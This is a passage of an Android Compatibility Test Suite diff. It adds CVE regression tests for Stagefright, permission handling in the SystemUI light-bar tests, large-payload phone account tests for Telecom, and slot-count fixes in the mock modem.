(appList.size() == 1)); } } diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java index d9c0039f9fa..307a3e7d01e 100644 --- a/tests/tests/security/src/android/security/cts/StagefrightTest.java +++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java @@ -1809,6 +1809,48 @@ public class StagefrightTest extends StsExtraBusinessLogicTestCase { before any existing test methods ***********************************************************/ @Test + @AsbSecurityTest(cveBugId = 223209306) + public void testStagefright_cve_2022_22085() throws Exception { + doStagefrightTest(R.raw.cve_2022_22085); + } + + @Test + @AsbSecurityTest(cveBugId = 223209816) + public void testStagefright_cve_2022_22084() throws Exception { + doStagefrightTest(R.raw.cve_2022_22084); + } + + @Test + @AsbSecurityTest(cveBugId = 223211218) + public void testStagefright_cve_2022_22086() throws Exception { + doStagefrightTest(R.raw.cve_2022_22086); + } + + @Test + @AsbSecurityTest(cveBugId = 228101819) + public void testStagefright_cve_2022_25659() throws Exception { + doStagefrightTest(R.raw.cve_2022_25659); + } + + @Test + @AsbSecurityTest(cveBugId = 223210917) + public void testStagefright_cve_2022_22083() throws Exception { + doStagefrightTest(R.raw.cve_2022_22083); + } + + @Test + @AsbSecurityTest(cveBugId = 223209610) + public void testStagefright_cve_2022_22087() throws Exception { + doStagefrightTest(R.raw.cve_2022_22087); + } + + @Test + @AsbSecurityTest(cveBugId = 228101835) + public void testStagefright_cve_2022_25657() throws Exception { + doStagefrightTest(R.raw.cve_2022_25657); + } + + @Test @AsbSecurityTest(cveBugId = 231156126) public void testStagefright_cve_2022_22059() throws Exception { doStagefrightTest(R.raw.cve_2022_22059); @@ -2437,6 +2479,11 @@ public class StagefrightTest extends StsExtraBusinessLogicTestCase { } catch (Exception e) { // local exceptions ignored, not security issues } finally { + try { + codec.stop(); + } catch (Exception e) { + // local exceptions ignored, not security issues + } codec.release(); renderTarget.destroy(); } diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java index c9b5a3a01ab..73474a1b67e 100644 --- a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java +++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java @@ -19,9 +19,11 @@ package android.security.cts; import static android.view.Display.DEFAULT_DISPLAY; import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION; +import static org.junit.Assume.assumeFalse; import static org.junit.Assume.assumeTrue; import android.Manifest; +import android.app.ActivityManager; import android.app.WallpaperManager; import android.content.Context; import android.content.res.AssetManager; @@ -124,7 +126,8 @@ public class WallpaperManagerTest extends StsExtraBusinessLogicTestCase { @Test @AsbSecurityTest(cveBugId = 204087139) public void testSetMaliciousStream() { - unZipMaliciousImageFile(); + ActivityManager am = mContext.getSystemService(ActivityManager.class); + assumeFalse(am.isLowRamDevice()); final File testImage = unZipMaliciousImageFile(); Assert.assertTrue(testImage.exists()); try (InputStream s = mContext.getContentResolver() diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp index e33d8fc7966..3a68e4df1dd 100644 --- a/tests/tests/systemui/Android.bp +++ b/tests/tests/systemui/Android.bp @@ -39,6 +39,7 @@ android_test { "androidx.test.ext.junit", "androidx.test.uiautomator", "cts-wm-util", + "permission-test-util-lib", "ub-uiautomator", ], srcs: [ diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml index f55ed3f13c5..d4ba3b3d4fe 100644 --- a/tests/tests/systemui/AndroidManifest.xml +++ b/tests/tests/systemui/AndroidManifest.xml @@ -26,6 +26,7 @@ <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/> <!-- Required by flickerlib to dump window states --> <uses-permission android:name="android.permission.DUMP"/> + <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/> <application android:requestLegacyExternalStorage="true"> <activity android:name=".LightBarActivity" diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java index ffa58bafc97..50792176d28 100644 --- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java +++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java @@ -16,6 +16,9 @@ package android.systemui.cts; +import static android.Manifest.permission.POST_NOTIFICATIONS; +import static android.Manifest.permission.REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL; +import static android.Manifest.permission.REVOKE_RUNTIME_PERMISSIONS; import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar; import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar; import static android.server.wm.BarTestUtils.assumeStatusBarContainsCutout; @@ -33,7 +36,10 @@ import android.content.Context; import android.graphics.Bitmap; import android.graphics.Color; import android.graphics.Insets; +import android.os.Process; import android.os.SystemClock; +import android.permission.PermissionManager; +import android.permission.cts.PermissionUtils; import android.platform.test.annotations.AppModeFull; import android.view.Gravity; import android.view.InputDevice; @@ -45,6 +51,7 @@ import android.view.WindowMetrics; import androidx.test.rule.ActivityTestRule; import androidx.test.runner.AndroidJUnit4; +import com.android.compatibility.common.util.SystemUtil; import com.android.compatibility.common.util.ThrowingRunnable; import org.junit.Rule; @@ -244,22 +251,23 @@ public class LightBarTests extends LightBarTestBase { } private void runInNotificationSession(ThrowingRunnable task) throws Exception { + Context context = getInstrumentation().getContext(); + String packageName = getInstrumentation().getTargetContext().getPackageName(); try { - mNm = (NotificationManager) getInstrumentation().getContext() - .getSystemService(Context.NOTIFICATION_SERVICE); + PermissionUtils.grantPermission(packageName, POST_NOTIFICATIONS); + mNm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE); NotificationChannel channel1 = new NotificationChannel(NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW); mNm.createNotificationChannel(channel1); // post 10 notifications to ensure enough icons in the status bar for (int i = 0; i < 10; i++) { - Notification.Builder noti1 = new Notification.Builder( - getInstrumentation().getContext(), - NOTIFICATION_CHANNEL_ID) - .setSmallIcon(R.drawable.ic_save) - .setChannelId(NOTIFICATION_CHANNEL_ID) - .setPriority(Notification.PRIORITY_LOW) - .setGroup(NOTIFICATION_GROUP_KEY); + Notification.Builder noti1 = + new Notification.Builder(context, NOTIFICATION_CHANNEL_ID) + .setSmallIcon(R.drawable.ic_save) + .setChannelId(NOTIFICATION_CHANNEL_ID) + .setPriority(Notification.PRIORITY_LOW) + .setGroup(NOTIFICATION_GROUP_KEY); mNm.notify(NOTIFICATION_TAG, i, noti1.build()); } @@ -267,6 +275,16 @@ public class LightBarTests extends LightBarTestBase { } finally { mNm.cancelAll(); mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID); + + // Use test API to prevent PermissionManager from killing the test process when revoking + // permission. + SystemUtil.runWithShellPermissionIdentity( + () -> context.getSystemService(PermissionManager.class) + .revokePostNotificationPermissionWithoutKillForTest( + packageName, + Process.myUserHandle().getIdentifier()), + REVOKE_POST_NOTIFICATIONS_WITHOUT_KILL, + REVOKE_RUNTIME_PERMISSIONS); } } diff --git a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java b/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java deleted file mode 100644 index 0905e57c379..00000000000 --- a/tests/tests/systemui/src/android/systemui/cts/MediaOutputDialogTest.java +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright (C) 2022 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.systemui.cts; - -import static com.google.common.truth.Truth.assertThat; - -import static org.junit.Assume.assumeFalse; -import static org.junit.Assume.assumeTrue; - -import android.content.Context; -import android.content.Intent; -import android.content.pm.PackageManager; -import android.content.pm.ResolveInfo; -import android.support.test.uiautomator.By; -import android.support.test.uiautomator.BySelector; -import android.support.test.uiautomator.UiDevice; -import android.support.test.uiautomator.Until; - -import androidx.test.InstrumentationRegistry; -import androidx.test.runner.AndroidJUnit4; - -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; - -/** - * Tests related MediaOutputDialog: - * - * atest MediaDialogTest - */ -@RunWith(AndroidJUnit4.class) -public class MediaOutputDialogTest { - - private static final int TIMEOUT = 5000; - private static final String ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG = - "com.android.systemui.action.LAUNCH_MEDIA_OUTPUT_DIALOG"; - private static final String SYSTEMUI_PACKAGE_NAME = "com.android.systemui"; - public static final String EXTRA_PACKAGE_NAME = "package_name"; - public static final String TEST_PACKAGE_NAME = "com.android.package.test"; - private static final BySelector MEDIA_DIALOG_SELECTOR = By.res(SYSTEMUI_PACKAGE_NAME, - "media_output_dialog"); - - private Context mContext; - private UiDevice mDevice; - private String mLauncherPackage; - private boolean mHasTouchScreen; - - @Before - public void setUp() { - mContext = InstrumentationRegistry.getTargetContext(); - mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); - final PackageManager packageManager = mContext.getPackageManager(); - - mHasTouchScreen = packageManager.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN) - || packageManager.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH); - - Intent launcherIntent = new Intent(Intent.ACTION_MAIN); - launcherIntent.addCategory(Intent.CATEGORY_HOME); - ResolveInfo resolveInfo = packageManager.resolveActivity(launcherIntent, - PackageManager.ResolveInfoFlags.of(PackageManager.MATCH_DEFAULT_ONLY)); - assumeFalse("Skipping test: can't get resolve info", resolveInfo == null); - assumeFalse("Skipping test: not supported on automotive yet", - packageManager.hasSystemFeature( - PackageManager.FEATURE_AUTOMOTIVE)); - mLauncherPackage = resolveInfo.activityInfo.packageName; - } - - @Test - public void mediaOutputDialog_correctDialog() { - assumeTrue(mHasTouchScreen); - launchMediaOutputDialog(); - - assertThat(mDevice.wait(Until.hasObject(MEDIA_DIALOG_SELECTOR), TIMEOUT)).isTrue(); - } - - private void launchMediaOutputDialog() { - mDevice.pressHome(); - mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT); - - Intent intent = new Intent(); - intent.setPackage(SYSTEMUI_PACKAGE_NAME) - .setAction(ACTION_LAUNCH_MEDIA_OUTPUT_DIALOG) - .putExtra(EXTRA_PACKAGE_NAME, TEST_PACKAGE_NAME); - - mContext.sendBroadcast(intent); - } - -} diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java index afc00e7aed5..451d4e3e44c 100644 --- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java +++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java @@ -16,13 +16,19 @@ package android.telecom.cts; +import static android.telecom.PhoneAccount.CAPABILITY_CALL_PROVIDER; +import static android.telecom.PhoneAccount.CAPABILITY_SELF_MANAGED; + import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; +import android.net.Uri; import android.os.IBinder; +import android.os.RemoteException; import android.telecom.PhoneAccount; import android.telecom.PhoneAccountHandle; +import android.telecom.TelecomManager; import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl; import android.telecom.cts.carmodetestappselfmanaged.CtsCarModeInCallServiceControlSelfManaged; import android.util.Log; @@ -38,10 +44,40 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices { private static final String TAG = "PhoneAccountRegistrarTest"; private static final long TIMEOUT = 3000L; + private static final int LARGE_ACCT_HANDLE_ID_MIN_SIZE = 50000; + private static final String RANDOM_CHAR_VALUE = "a"; + private static final String TEL_PREFIX = "tel:"; + private static final String TELECOM_CLEANUP_ACCTS_CMD = "telecom cleanup-orphan-phone-accounts"; public static final long SEED = 52L; // random seed chosen public static final int MAX_PHONE_ACCOUNT_REGISTRATIONS = 10; // mirrors constant in... // PhoneAccountRegistrar called MAX_PHONE_ACCOUNT_REGISTRATIONS + // permissions + private static final String READ_PHONE_STATE_PERMISSION = + "android.permission.READ_PRIVILEGED_PHONE_STATE"; + private static final String MODIFY_PHONE_STATE_PERMISSION = + "android.permission.MODIFY_PHONE_STATE"; + private static final String REGISTER_SIM_SUBSCRIPTION_PERMISSION = + "android.permission.REGISTER_SIM_SUBSCRIPTION"; + + // telecom cts test package (default package that registers phoneAccounts) + private static final ComponentName TEST_COMPONENT_NAME = + new ComponentName(TestUtils.PACKAGE, TestUtils.COMPONENT); + + // secondary test package (extra package that can be set up to register phoneAccounts) + private static final String SELF_MANAGED_CAR_PACKAGE = + CtsCarModeInCallServiceControlSelfManaged.class.getPackage().getName(); + private static final ComponentName SELF_MANAGED_CAR_RELATIVE_COMPONENT = ComponentName + .createRelative(SELF_MANAGED_CAR_PACKAGE, + CtsCarModeInCallServiceControlSelfManaged.class.getName()); + private static final ComponentName CAR_COMPONENT = new ComponentName(SELF_MANAGED_CAR_PACKAGE, + TestUtils.SELF_MANAGED_COMPONENT); + private static final String CAR_MODE_CONTROL = + "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL"; + // variables to interface with the second test package + TestServiceConnection mControl; + ICtsCarModeInCallServiceControl mSecondaryTestPackageControl; + @Override public void setUp() throws Exception { // Sets up this package as default dialer in super. @@ -204,8 +240,303 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices { mContext.unbindService(control); } + /** + * Test the scenario where {@link android.telecom.TelecomManager + * #getCallCapablePhoneAccounts(boolean)} is called with a heavy payload + * that could cause a {@link android.os.TransactionTooLargeException}. Telecom is expected to + * handle this by splitting the parcels via {@link android.content.pm.ParceledListSlice}. + */ + public void testGettingLargeCallCapablePhoneAccountHandlePayload() throws Exception { + if (!mShouldTestTelecom) return; + // ensure the test starts without any phone accounts registered to the test package + cleanupPhoneAccounts(); + + // generate a large phoneAccountHandle id string to create a large payload + String largeAccountHandleId = generateLargeString( + LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE); + assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length()); + + // create handles for package 1 + List<PhoneAccount> phoneAccountsForPackage1 = + generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId, + numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_CALL_PROVIDER); + + //create handles for package 2 + List<PhoneAccount> phoneAccountsForPackage2 = + generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId, + MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_CALL_PROVIDER); + try { + // register all accounts for package 1 + phoneAccountsForPackage1.stream() + .forEach(a -> mTelecomManager.registerPhoneAccount(a)); + // verify all can be fetched + verifyCanFetchCallCapableAccounts(); + // register all accounts for package 2 + bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2); + // verify all can be fetched + verifyCanFetchCallCapableAccounts(); + } catch (IllegalArgumentException e) { + // allow test pass ... + Log.i(TAG, "testGettingLargeCallCapablePhoneAccountHandlePayload:" + + " illegal arg exception thrown."); + } finally { + unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2); + cleanupPhoneAccounts(); + } + } + + /** + * Test the scenario where {@link android.telecom.TelecomManager#getSelfManagedPhoneAccounts()} + * is called with a heavy payload that could cause a {@link + * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting + * the parcels via {@link android.content.pm.ParceledListSlice}. + */ + public void testGettingLargeSelfManagedPhoneAccountHandlePayload() throws Exception { + if (!mShouldTestTelecom) return; + // ensure the test starts without any phone accounts registered to the test package + cleanupPhoneAccounts(); + + // generate a large phoneAccountHandle id string to create a large payload + String largeAccountHandleId = generateLargeString( + LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE); + assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length()); + + // create handles for package 1 + List<PhoneAccount> phoneAccountsForPackage1 = + generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId, + numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED); + + //create handles for package 2 + List<PhoneAccount> phoneAccountsForPackage2 = + generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId, + MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED); + try { + // register all accounts for package 1 + phoneAccountsForPackage1.stream() + .forEach(a -> mTelecomManager.registerPhoneAccount(a)); + // verify all can be fetched + verifyCanFetchSelfManagedPhoneAccounts(); + // register all accounts for package 2 + bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2); + // verify all can be fetched + verifyCanFetchSelfManagedPhoneAccounts(); + } catch (IllegalArgumentException e) { + // allow test pass ... + Log.i(TAG, "testGettingLargeSelfManagedPhoneAccountHandlePayload:" + + " illegal arg exception thrown."); + } finally { + unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2); + cleanupPhoneAccounts(); + } + } + + /** + * Test the scenario where {@link android.telecom.TelecomManager#getAllPhoneAccountHandles()} + * is called with a heavy payload that could cause a {@link + * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting + * the parcels via {@link android.content.pm.ParceledListSlice}. + */ + public void testGettingAllPhoneAccountHandlesWithLargePayload() throws Exception { + if (!mShouldTestTelecom) return; + + // ensure the test starts without any phone accounts registered to the test package + cleanupPhoneAccounts(); + + // generate a large phoneAccountHandle id string to create a large payload + String largeAccountHandleId = generateLargeString( + LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE); + assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length()); + + // create handles for package 1 + List<PhoneAccount> phoneAccountsForPackage1 = + generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId, + numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED); + + //create handles for package 2 + List<PhoneAccount> phoneAccountsForPackage2 = + generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId, + MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED); + try { + // register all accounts for package 1 + phoneAccountsForPackage1.stream() + .forEach(a -> mTelecomManager.registerPhoneAccount(a)); + // verify all can be fetched + verifyCanFetchAllPhoneAccountHandles(); + // register all accounts for package 2 + bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2); + // verify all can be fetched + verifyCanFetchAllPhoneAccountHandles(); + } catch (IllegalArgumentException e) { + // allow test pass ... + } finally { + + unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2); + cleanupPhoneAccounts(); + } + } + + /** + * Test the scenario where {@link TelecomManager#getAllPhoneAccounts()} + * is called with a heavy payload that could cause a {@link + * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting + * the parcels via {@link android.content.pm.ParceledListSlice}. + */ + public void testGetAllPhoneAccountsWithLargePayload() throws Exception { + if (!mShouldTestTelecom) return; + + // ensure the test starts without any phone accounts registered to the test package + cleanupPhoneAccounts(); + + // generate a large phoneAccountHandle id string to create a large payload + String largeAccountHandleId = generateLargeString( + LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE); + assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length()); + + // create handles for package 1 + List<PhoneAccount> phoneAccountsForPackage1 = + generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId, + numberOfPhoneAccountsCtsPackageCanRegister(), + CAPABILITY_CALL_PROVIDER + | PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION); + + //create handles for package 2 + List<PhoneAccount> phoneAccountsForPackage2 = + generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId, + MAX_PHONE_ACCOUNT_REGISTRATIONS, + CAPABILITY_SELF_MANAGED); + try { + // register all accounts for package 1 + for (PhoneAccount pa : phoneAccountsForPackage1) { + ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelecomManager, + tm -> tm.registerPhoneAccount(pa), REGISTER_SIM_SUBSCRIPTION_PERMISSION); + } + // verify all can be fetched + verifyCanFetchAllPhoneAccounts(); + // register all accounts for package 2 + bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2); + // verify all can be fetched + verifyCanFetchAllPhoneAccounts(); + } catch (IllegalArgumentException e) { + // allow test pass ... + } finally { + unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2); + cleanupPhoneAccounts(); + } + } + // -- The following are helper methods for this testing class. -- + private String generateLargeString(int size, String repeatStrValue) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < size; i++) { + sb.append(repeatStrValue); + } + return sb.toString(); + } + + private List<PhoneAccount> generatePhoneAccountsForPackage(ComponentName cn, String baseId, + int numOfAccountsToRegister, int capabilities) { + List<PhoneAccount> accounts = new ArrayList<>(); + + for (int i = 0; i < numOfAccountsToRegister; i++) { + String id = baseId + i; + PhoneAccountHandle pah = new PhoneAccountHandle(cn, id); + // create phoneAccount + String number = TEL_PREFIX + i; + PhoneAccount pa = PhoneAccount.builder(pah, TestUtils.ACCOUNT_LABEL) + .setAddress(Uri.parse(number)) + .setSubscriptionAddress(Uri.parse(number)) + .addSupportedUriScheme(PhoneAccount.SCHEME_TEL) + .setCapabilities(capabilities) + .build(); + accounts.add(pa); + } + return accounts; + } + + public void bindToSecondTestPackageAndRegisterAccounts(List<PhoneAccount> accounts) + throws Exception { + bindToSecondTestPackage(); + registerAccountsToSecondTestPackage(accounts); + } + + public void unbindSecondTestPackageAndUnregisterAccounts(List<PhoneAccount> accounts) { + try { + mContext.unbindService(mControl); + unRegisterAccountsForSecondTestPackage(accounts); + } catch (Exception e) { + Log.d(TAG, + "exception thrown while trying to unbind and unregister accts for 2nd package"); + } + } + + public void bindToSecondTestPackage() throws RemoteException { + // Set up binding for second package. This is needed in order to bypass a SecurityException + // thrown by a second test package registering phone accounts. + mControl = setUpControl(CAR_MODE_CONTROL, SELF_MANAGED_CAR_RELATIVE_COMPONENT); + mSecondaryTestPackageControl = + ICtsCarModeInCallServiceControl.Stub.asInterface(mControl.getService()); + // reset all package variables etc. + if (mSecondaryTestPackageControl != null) { + mSecondaryTestPackageControl.reset(); //... done setting up binding + } + } + + public void registerAccountsToSecondTestPackage(List<PhoneAccount> accounts) + throws Exception { + if (mSecondaryTestPackageControl != null) { + for (PhoneAccount p : accounts) { + mSecondaryTestPackageControl.registerPhoneAccount(p); + TestUtils.enablePhoneAccount(getInstrumentation(), p.getAccountHandle()); + } + } + } + + public void unRegisterAccountsForSecondTestPackage(List<PhoneAccount> accounts) + throws RemoteException { + if (mSecondaryTestPackageControl != null) { + for (PhoneAccount p : accounts) { + mSecondaryTestPackageControl.unregisterPhoneAccount(p.getAccountHandle()); + } + } + } + + public void verifyCanFetchCallCapableAccounts() { + List<PhoneAccountHandle> res = + mTelecomManager.getCallCapablePhoneAccounts(true); + assertNotNull(res); + assertTrue(res.size() > 0); + } + + public void verifyCanFetchAllPhoneAccountHandles() { + List<PhoneAccountHandle> res = + ShellIdentityUtils.invokeMethodWithShellPermissions( + mTelecomManager, (tm) -> tm.getAllPhoneAccountHandles(), + MODIFY_PHONE_STATE_PERMISSION); + assertNotNull(res); + assertTrue(res.size() > 0); + } + + public void verifyCanFetchAllPhoneAccounts() { + List<PhoneAccount> res = + ShellIdentityUtils.invokeMethodWithShellPermissions( + mTelecomManager, (tm) -> tm.getAllPhoneAccounts(), + MODIFY_PHONE_STATE_PERMISSION); + assertNotNull(res); + assertTrue(res.size() > 0); + } + + public void verifyCanFetchSelfManagedPhoneAccounts() { + List<PhoneAccountHandle> res = + mTelecomManager.getSelfManagedPhoneAccounts(); + assertNotNull(res); + assertTrue(res.size() > 0); + } + + private int numberOfPhoneAccountsCtsPackageCanRegister() { + return MAX_PHONE_ACCOUNT_REGISTRATIONS - getNumberOfPhoneAccountsRegisteredToTestPackage(); + } + private TestServiceConnection setUpControl(String action, ComponentName componentName) { Intent bindIntent = new Intent(action); bindIntent.setComponent(componentName); @@ -257,17 +588,24 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices { * getPhoneAccountsForPackage() method. */ private void cleanupPhoneAccounts() { - if (mTelecomManager != null) { - // Get all handles registered to the testing package - List<PhoneAccountHandle> handles = ShellIdentityUtils.invokeMethodWithShellPermissions( - mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(), - "android.permission.READ_PRIVILEGED_PHONE_STATE"); - - // cleanup any extra phone accounts registered to the testing package - if (handles.size() > 0 && mTelecomManager != null) { - handles.stream().forEach( - d -> mTelecomManager.unregisterPhoneAccount(d)); + try { + if (mTelecomManager != null) { + // Get all handles registered to the testing package + List<PhoneAccountHandle> handles = + ShellIdentityUtils.invokeMethodWithShellPermissions( + mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(), + READ_PHONE_STATE_PERMISSION); + + // cleanup any extra phone accounts registered to the testing package + if (handles.size() > 0 && mTelecomManager != null) { + handles.stream().forEach( + d -> mTelecomManager.unregisterPhoneAccount(d)); + } + + TestUtils.executeShellCommand(getInstrumentation(), TELECOM_CLEANUP_ACCTS_CMD); } + } catch (Exception e) { + Log.d(TAG, "cleanupPhoneAccounts: hit exception while trying to clean"); } } @@ -281,7 +619,7 @@ public class PhoneAccountRegistrarTest extends BaseTelecomTestWithMockServices { if (mTelecomManager != null) { return ShellIdentityUtils.invokeMethodWithShellPermissions( mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(), - "android.permission.READ_PRIVILEGED_PHONE_STATE").size(); + READ_PHONE_STATE_PERMISSION).size(); } return 0; } diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS index 02848c89f46..89e4f4dc2b0 100644 --- a/tests/tests/telephony/OWNERS +++ b/tests/tests/telephony/OWNERS @@ -1,2 +1,17 @@ -file:platform/frameworks/opt/telephony:/OWNERS - +# Bug component: 20868 +amagup@google.com +amallampati@google.com +amruthr@google.com +breadley@google.com +chinmayd@google.com +fionaxu@google.com +huiwang@google.com +jackyu@google.com +jayachandranc@google.com +linggm@google.com +rgreenwalt@google.com +sarahchin@google.com +sasindran@google.com +tgunn@google.com +tjstuart@google.com +xiaotonj@google.com diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java index f2523a4018e..0bed8a7fa6d 100644 --- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java +++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockModemService.java @@ -34,6 +34,7 @@ import java.util.concurrent.TimeUnit; public class MockModemService extends Service { private static final String TAG = "MockModemService"; + private static final String RESOURCE_PACKAGE_NAME = "android"; public static final int TEST_TIMEOUT_MS = 30000; public static final String IRADIOCONFIG_INTERFACE = "android.telephony.mockmodem.iradioconfig"; @@ -233,9 +234,18 @@ public class MockModemService extends Service { } public int getNumPhysicalSlots() { - int numPhysicalSlots = + int numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN; + int resourceId = sContext.getResources() - .getInteger(com.android.internal.R.integer.config_num_physical_slots); + .getIdentifier( + "config_num_physical_slots", "integer", RESOURCE_PACKAGE_NAME); + + if (resourceId > 0) { + numPhysicalSlots = sContext.getResources().getInteger(resourceId); + } else { + Log.d(TAG, "Fail to get the resource Id, using default: " + numPhysicalSlots); + } + if (numPhysicalSlots > MockSimService.MOCK_SIM_SLOT_MAX) { Log.d( TAG, @@ -245,6 +255,15 @@ public class MockModemService extends Service { + MockSimService.MOCK_SIM_SLOT_MAX + ")."); numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MAX; + } else if (numPhysicalSlots <= MockSimService.MOCK_SIM_SLOT_MIN) { + Log.d( + TAG, + "Number of physical Slot (" + + numPhysicalSlots + + ") < mock sim slot support. Reset to min number supported (" + + MockSimService.MOCK_SIM_SLOT_MIN + + ")."); + numPhysicalSlots = MockSimService.MOCK_SIM_SLOT_MIN; } return numPhysicalSlots; diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java index 81839255dec..026710b67d1 100644 --- a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java +++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/MockSimService.java @@ -63,6 +63,7 @@ public class MockSimService { private static final int MOCK_SIM_SLOT_1 = 0; private static final int MOCK_SIM_SLOT_2 = 1; private static final int MOCK_SIM_SLOT_3 = 2; + public static final int MOCK_SIM_SLOT_MIN = 1; public static final int MOCK_SIM_SLOT_MAX = 3; /* Default value definition */ diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java index 24a994083dc..e5cf5d465c1 100644 --- a/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java +++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsUsageMonitorShortCodeTest.java @@ -288,8 +288,19 @@ public class SmsUsageMonitorShortCodeTest { new ShortCodeTest("it", "116117", 